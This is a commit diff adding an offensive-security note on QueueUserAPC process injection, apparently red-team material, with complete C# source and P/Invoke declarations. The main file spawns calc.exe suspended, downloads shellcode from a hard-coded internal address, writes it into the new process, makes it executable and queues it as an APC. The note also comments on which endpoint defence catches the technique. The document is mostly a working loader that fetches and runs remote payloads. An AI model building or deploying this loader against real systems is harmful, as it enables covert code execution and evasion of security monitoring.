first commit
This commit is contained in:
@@ -0,0 +1,230 @@
|
||||
# QueueUserAPC
|
||||
|
||||
Used alternatively to CRT and tends to be less scrutinized (Falcon still smacks it down tho)
|
||||
|
||||
1. Spawn a process in a suspended state, queue the APC on the primary thread and resume.
|
||||
|
||||
or
|
||||
|
||||
1. Enumerate threads of an existing process and queue the APC on one of them.
|
||||
1. Wait for that thread to enter an alerted state, or
|
||||
2. Force that thread to enter an alerted state.
|
||||
|
||||
First option is more straight forward.
|
||||
|
||||
`QueueUserAPC.cs`
|
||||
|
||||
```csharp
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Net.Http;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace QueueUserAPC
|
||||
{
|
||||
internal class Program
|
||||
{
|
||||
static async Task Main(string[] args)
|
||||
{
|
||||
var si = new Win32.STARTUPINFO();
|
||||
si.cb = Marshal.SizeOf(si);
|
||||
|
||||
var pa = new Win32.SECURITY_ATTRIBUTES();
|
||||
pa.nLength = Marshal.SizeOf(pa);
|
||||
|
||||
var ta = new Win32.SECURITY_ATTRIBUTES();
|
||||
ta.nLength = Marshal.SizeOf(ta);
|
||||
|
||||
var pi = new Win32.PROCESS_INFORMATION();
|
||||
|
||||
var success = Win32.CreateProcessW(
|
||||
"C:\\Windows\\System32\\calc.exe",
|
||||
null,
|
||||
ref ta,
|
||||
ref pa,
|
||||
false,
|
||||
0x00000004, // CREATE_SUSPENDED
|
||||
IntPtr.Zero,
|
||||
"C:\\Windows\\System32",
|
||||
ref si,
|
||||
out pi);
|
||||
|
||||
// If we failed to spawn the process, just bail
|
||||
if (!success)
|
||||
throw new Win32Exception(Marshal.GetLastWin32Error());
|
||||
|
||||
// gather shellcode
|
||||
|
||||
byte[] shellcode;
|
||||
var addr = "http://10.10.1.128/shellcode.bin";
|
||||
|
||||
using (var client = new HttpClient())
|
||||
shellcode = await client.GetByteArrayAsync(addr);
|
||||
|
||||
// Allocate mem
|
||||
var baseAddress = Win32.VirtualAllocEx(
|
||||
pi.hProcess,
|
||||
IntPtr.Zero,
|
||||
(uint)shellcode.Length,
|
||||
Win32.AllocationType.Commit | Win32.AllocationType.Reserve,
|
||||
Win32.MemoryProtection.ReadWrite);
|
||||
|
||||
// Write shellcode, discard
|
||||
Win32.WriteProcessMemory(
|
||||
pi.hProcess,
|
||||
baseAddress,
|
||||
shellcode,
|
||||
shellcode.Length,
|
||||
out _);
|
||||
|
||||
// Flip mem protection, discard
|
||||
Win32.VirtualProtectEx(
|
||||
pi.hProcess,
|
||||
baseAddress,
|
||||
(uint)shellcode.Length,
|
||||
Win32.MemoryProtection.ExecuteRead,
|
||||
out _);
|
||||
|
||||
// Queue the APC, discard
|
||||
Win32.QueueUserAPC(
|
||||
baseAddress,
|
||||
pi.hThread,
|
||||
0);
|
||||
|
||||
// Resume thread
|
||||
Win32.ResumeThread(pi.hThread);
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
`Win32.cs`
|
||||
|
||||
```csharp
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace QueueUserAPC
|
||||
{
|
||||
internal class Win32
|
||||
{
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct STARTUPINFO
|
||||
{
|
||||
public int cb;
|
||||
public IntPtr lpReserved;
|
||||
public IntPtr lpDesktop;
|
||||
public IntPtr lpTitle;
|
||||
public int dwX;
|
||||
public int dwY;
|
||||
public int dwXSize;
|
||||
public int dwYSize;
|
||||
public int dwXCountChars;
|
||||
public int dwYCountChars;
|
||||
public int dwFillAttribute;
|
||||
public int dwFlags;
|
||||
public short wShowWindow;
|
||||
public short cbReserved2;
|
||||
public IntPtr lpReserved2;
|
||||
public IntPtr hStdInput;
|
||||
public IntPtr hStdOutput;
|
||||
public IntPtr hStdError;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct PROCESS_INFORMATION
|
||||
{
|
||||
public IntPtr hProcess;
|
||||
public IntPtr hThread;
|
||||
public int dwProcessId;
|
||||
public int dwThreadId;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SECURITY_ATTRIBUTES
|
||||
{
|
||||
public int nLength;
|
||||
public IntPtr lpSecurityDescriptor;
|
||||
public bool bInheritHandle;
|
||||
}
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
public static extern bool CreateProcessW(
|
||||
string lpApplicationName,
|
||||
string lpCommandLine,
|
||||
ref SECURITY_ATTRIBUTES lpProcessAttributes,
|
||||
ref SECURITY_ATTRIBUTES lpThreadAttributes,
|
||||
bool bInheritHandles,
|
||||
uint dwCreationFlags,
|
||||
IntPtr lpEnvironment,
|
||||
string lpCurrentDirectory,
|
||||
ref STARTUPINFO lpStartupInfo,
|
||||
out PROCESS_INFORMATION lpProcessInformation);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr VirtualAllocEx(
|
||||
IntPtr hProcess,
|
||||
IntPtr lpAddress,
|
||||
uint dwSize,
|
||||
AllocationType flAllocationType,
|
||||
MemoryProtection flProtect);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern bool WriteProcessMemory(
|
||||
IntPtr hProcess,
|
||||
IntPtr lpBaseAddress,
|
||||
byte[] lpBuffer,
|
||||
int nSize,
|
||||
out IntPtr lpNumberOfBytesWritten);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern bool VirtualProtectEx(
|
||||
IntPtr hProcess,
|
||||
IntPtr lpAddress,
|
||||
uint dwSize,
|
||||
MemoryProtection flNewProtect,
|
||||
out MemoryProtection lpflOldProtect);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern uint QueueUserAPC(
|
||||
IntPtr pfnAPC,
|
||||
IntPtr hThread,
|
||||
uint dwData);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern uint ResumeThread(
|
||||
IntPtr hThread);
|
||||
|
||||
[Flags]
|
||||
public enum AllocationType
|
||||
{
|
||||
Commit = 0x1000,
|
||||
Reserve = 0x2000,
|
||||
Decommit = 0x4000,
|
||||
Release = 0x8000,
|
||||
Reset = 0x80000,
|
||||
Physical = 0x400000,
|
||||
TopDown = 0x100000,
|
||||
WriteWatch = 0x200000,
|
||||
LargePages = 0x20000000
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum MemoryProtection
|
||||
{
|
||||
Execute = 0x10,
|
||||
ExecuteRead = 0x20,
|
||||
ExecuteReadWrite = 0x40,
|
||||
ExecuteWriteCopy = 0x80,
|
||||
NoAccess = 0x01,
|
||||
ReadOnly = 0x02,
|
||||
ReadWrite = 0x04,
|
||||
WriteCopy = 0x08,
|
||||
GuardModifierflag = 0x100,
|
||||
NoCacheModifierflag = 0x200,
|
||||
WriteCombineModifierflag = 0x400
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
Reference in New Issue
Block a user